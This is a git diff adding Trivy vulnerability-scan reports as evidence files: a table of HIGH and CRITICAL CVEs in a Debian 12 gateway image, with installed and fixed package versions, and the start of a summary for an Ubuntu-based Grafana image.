index 0000000..44575ea --- /dev/null +++ b/evidence/trivy-gateway.txt @@ -0,0 +1,325 @@ + +Report Summary + +┌────────────────────────────────┬────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├────────────────────────────────┼────────┼─────────────────┤ +│ /scan/image.tar (debian 12.11) │ debian │ 78 │ +└────────────────────────────────┴────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +/scan/image.tar (debian 12.11) +============================== +Total: 78 (HIGH: 70, CRITICAL: 8) + +┌────────────────────┬─────────────────┬──────────┬──────────────┬────────────────────┬────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ apt │ CVE-2026-109518 │ HIGH │ fixed │ 2.6.1 │ 2.6.2 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ bsdutils │ CVE-2026-53613 │ │ affected │ 1:2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ gpgv │ CVE-2025-68973 │ │ fixed │ 2.2.40-1.1 │ 2.2.40-1.1+deb12u2 │ GnuPG: GnuPG: Information disclosure and potential arbitrary │ +│ │ │ │ │ │ │ code execution via out-of-bounds write... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68973 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ gzip │ CVE-2026-41992 │ │ fix_deferred │ 1.12-1 │ │ gzip: gzip: Information disclosure via global buffer │ +│ │ │ │ │ │ │ overflow in LZH decompression │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41992 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libacl1 │ CVE-2026-54369 │ │ │ 2.3.1-3 │ │ acl: Symlink traversal privilege escalation via libacl │ +│ │ │ │ │ │ │ functions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-54369 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libapt-pkg6.0 │ CVE-2026-109518 │ │ fixed │ 2.6.1 │ 2.6.2 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libblkid1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libcap2 │ CVE-2026-4878 │ │ fixed │ 1:2.66-4+deb12u1 │ 1:2.66-4+deb12u3 │ libcap: libcap: Privilege escalation via TOCTOU race │ +│ │ │ │ │ │ │ condition in cap_set_file() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-4878 │ +├────────────────────┼─────────────────┼──────────┤ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libgnutls30 │ CVE-2026-33845 │ CRITICAL │ │ 3.7.9-2+deb12u5 │ 3.7.9-2+deb12u7 │ gnutls: GnuTLS: Denial of Service via DTLS zero-length │ +│ │ │ │ │ │ │ fragment │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33845 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42010 │ │ │ │ │ gnutls: gnutls: Authentication Bypass via NUL Character in │ +│ │ │ │ │ │ │ Username │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42010 │ +│ ├─────────────────┼──────────┤ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33846 │ HIGH │ │ │ │ gnutls: GnuTLS: Denial of Service via heap buffer overflow │ +│ │ │ │ │ │ │ in DTLS handshake... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33846 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-3833 │ │ │ │ │ gnutls: GnuTLS: Policy bypass due to case-sensitive │ +│ │ │ │ │ │ │ nameConstraints comparison │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-3833 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42009 │ │ │ │ │ gnutls: gnutls: Denial of Service via DTLS packet reordering │ +│ │ │ │ │ │ │ vulnerability │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42009 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libmount1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libpam-modules │ CVE-2025-6020 │ │ fixed │ 1.5.2-6+deb12u1 │ 1.5.2-6+deb12u2 │ linux-pam: Linux-pam directory Traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-6020 │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam-modules-bin │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam-runtime │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ libpam0g │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libpcre2-8-0 │ CVE-2026-103111 │ │ │ 10.42-1 │ 10.42-1+deb12u2 │ pcre2: pcre2: Out-of-bounds write via crafted regular │ +│ │ │ │ │ │ │ expression │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-103111 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-86145 │ │ │ │ 10.42-1+deb12u1 │ pcre2: PCRE2: Out-of-bounds write allows arbitrary code │ +│ │ │ │ │ │ │ execution via crafted regular expressions... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-86145 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-89157 │ │ │ │ │ pcre2: PCRE2: Out-of-bounds write via large pattern input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-89157 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-89161 │ │ │ │ │ pcre2: PCRE2: Memory corruption vulnerability in │ +│ │ │ │ │ │ │ pcre2_jit_match │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-89161 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsmartcols1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libssl3 │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.0.17-1~deb12u2 │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.0.18-1~deb12u2 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.0.20-1~deb12u2 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.22-1~deb12u2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libsystemd0 │ CVE-2026-16742 │ │ fix_deferred │ 252.38-1~deb12u1 │ │ systemd: systemd-homed: Local privilege escalation via │ +│ │ │ │ │ │ │ missing home-record signature verification │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-16742 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libtinfo6 │ CVE-2025-69720 │ │ affected │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libudev1 │ CVE-2026-16742 │ │ fix_deferred │ 252.38-1~deb12u1 │ │ systemd: systemd-homed: Local privilege escalation via │ +│ │ │ │ │ │ │ missing home-record signature verification │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-16742 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libuuid1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ mount │ CVE-2026-53613 │ │ │ │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ ncurses-base │ CVE-2025-69720 │ │ │ 6.4-4 │ │ ncurses: ncurses: Buffer overflow vulnerability may lead to │ +│ │ │ │ │ │ │ arbitrary code execution. │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69720 │ +├────────────────────┤ │ │ │ ├────────────────────┤ │ +│ ncurses-bin │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ openssl │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.0.17-1~deb12u2 │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.0.18-1~deb12u2 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.0.19-1~deb12u2 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.0.20-1~deb12u2 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.22-1~deb12u2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────────────┼─────────────────┼──────────┤ ├────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ perl-base │ CVE-2026-13221 │ CRITICAL │ │ 5.36.0-7+deb12u2 │ 5.36.0-7+deb12u4 │ perl: Perl: Incorrect regular expression processing via │ +│ │ │ │ │ │ │ large regular expressions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-13221 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42496 │ │ │ │ │ perl-archive-tar: perl-archive-tar: Path traversal via │ +│ │ │ │ │ │ │ crafted symlinks allows arbitrary file access │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42496 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-8376 │ │ │ │ │ perl: Perl: Heap buffer overflow when compiling regular │ +│ │ │ │ │ │ │ expressions on 32-bit builds... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-8376 │ +│ ├─────────────────┼──────────┤ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2023-31484 │ HIGH │ │ │ 5.36.0-7+deb12u3 │ perl: CPAN.pm does not verify TLS certificates when │ +│ │ │ │ │ │ │ downloading distributions over HTTPS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-31484 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42497 │ │ │ │ 5.36.0-7+deb12u4 │ perl-Archive-Tar: perl-Archive-Tar: Arbitrary file │ +│ │ │ │ │ │ │ modification via crafted hardlinks during archive extraction │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42497 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-48962 │ │ │ │ │ perl-IO-Compress: perl-IO-Compress: Arbitrary code execution │ +│ │ │ │ │ │ │ via attacker-controlled output glob │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-48962 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57432 │ │ │ │ │ perl: Perl: Information disclosure via integer overflow in │ +│ │ │ │ │ │ │ pack/unpack operations │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57432 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-57433 │ │ │ │ │ Storable: Storable: Denial of Service via signed integer │ +│ │ │ │ │ │ │ overflow in deserialization │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-57433 │ +│ ├─────────────────┤ ├──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-9538 │ │ fix_deferred │ │ │ perl-Archive-Tar: perl-Archive-Tar: Denial of Service via │ +│ │ │ │ │ │ │ crafted tar header with large entry... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-9538 │ +├────────────────────┼─────────────────┤ ├──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ util-linux │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ util-linux-extra │ CVE-2026-53613 │ │ │ │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┼──────────┼──────────────┼────────────────────┼────────────────────┼──────────────────────────────────────────────────────────────┤ +│ zlib1g │ CVE-2023-45853 │ CRITICAL │ will_not_fix │ 1:1.2.13.dfsg-1 │ │ zlib: integer overflow and resultant heap-based buffer │ +│ │ │ │ │ │ │ overflow in zipOpenNewFileInZip4_6 │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2023-45853 │ +│ ├─────────────────┼──────────┼──────────────┤ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-76844 │ HIGH │ affected │ │ │ webpack-dev-middleware: webpack-dev-middleware: Information │ +│ │ │ │ │ │ │ Disclosure via Path Traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-76844 │ +│ ├─────────────────┤ │ │ ├────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-85091 │ │ │ │ │ zlib: zlib: Heap buffer overflow in gz_vacate() allows │ +│ │ │ │ │ │ │ arbitrary code execution │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-85091 │ +└────────────────────┴─────────────────┴──────────┴──────────────┴────────────────────┴────────────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/evidence/trivy-grafana.txt b/evidence/trivy-grafana.txt new file mode 100644 index 0000000..4f904fc --- /dev/null +++ b/evidence/trivy-grafana.txt @@ -0,0 +1,627 @@ + +Report Summary + +┌──────────────────────────────────────────────────────────────────────────────────┬──────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ /scan/image.tar (ubuntu 22.04) │ ubuntu │ 8 │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/azuremonitor/package.json │ node-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/cloud-monitoring/package.json │ node-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/grafana-postgresql-datasource/p- │ node-pkg │ 0 │ +│ ackage.json │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/grafana-pyroscope-datasource/pa- │ node-pkg │ 0 │ +│ ckage.json │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/grafana-testdata-datasource/pac- │ node-pkg │ 0 │ +│ kage.json │ │ │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/jaeger/package.json │ node-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/mssql/package.json │ node-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/mysql/package.json │ node-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/parca/package.json │ node-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/tempo/package.json │ node-pkg │ 0 │ 